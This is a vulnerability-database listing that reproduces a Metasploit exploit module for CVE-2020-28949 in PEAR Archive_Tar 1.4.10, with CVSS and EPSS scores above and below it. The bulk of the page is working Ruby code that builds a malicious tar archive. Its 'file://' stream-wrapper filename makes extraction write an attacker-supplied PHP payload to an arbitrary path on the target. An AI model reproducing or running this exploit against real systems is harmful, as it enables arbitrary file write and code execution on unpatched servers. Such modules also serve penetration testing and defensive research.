Lucene search

K
metasploitGwillcox-r7, xorathustraMSF:EXPLOIT-MULTI-FILEFORMAT-ARCHIVE_TAR_ARB_FILE_WRITE-
HistoryJan 15, 2021 - 10:20 p.m.

PEAR Archive_Tar 1.4.10 Arbitrary File Write

2021-01-1522:20:06
gwillcox-r7, xorathustra
www.rapid7.com
23
metasploit
archive_tar
arbitrary file write
php
fileformat
cve-2020-28949

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS

0.935

Percentile

99.1%

This module takes advantages of Archive_Tar <= 1.4.10’s lack of validation of file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PEAR Archive_Tar 1.4.10 Arbitrary File Write',
        'Description' => %q{
          This module takes advantages of Archive_Tar <= 1.4.10's lack of validation of file stream wrappers contained
          within filenames to write an arbitrary file containing user controlled content to an arbitrary file
          on disk. Note that the file will be written to disk with the permissions of the user that PHP is
          running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
          privileged.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'gwillcox-r7', # Metasploit module
          'xorathustra', # Original advisory and PoC
        ],
        'References' => [
          ['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
          ['CVE', '2020-28949']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Archive_Tar <= 1.4.10', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-11-17'
      )
    )

    register_options([
      OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
    ])
  end

  def exploit
    # Create malicious tar archive
    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
        io.write payload.encoded
      end
    end
    tarfile.rewind
    file_buffer = tarfile.read

    print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
    file_create file_buffer
  end
end

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS

0.935

Percentile

99.1%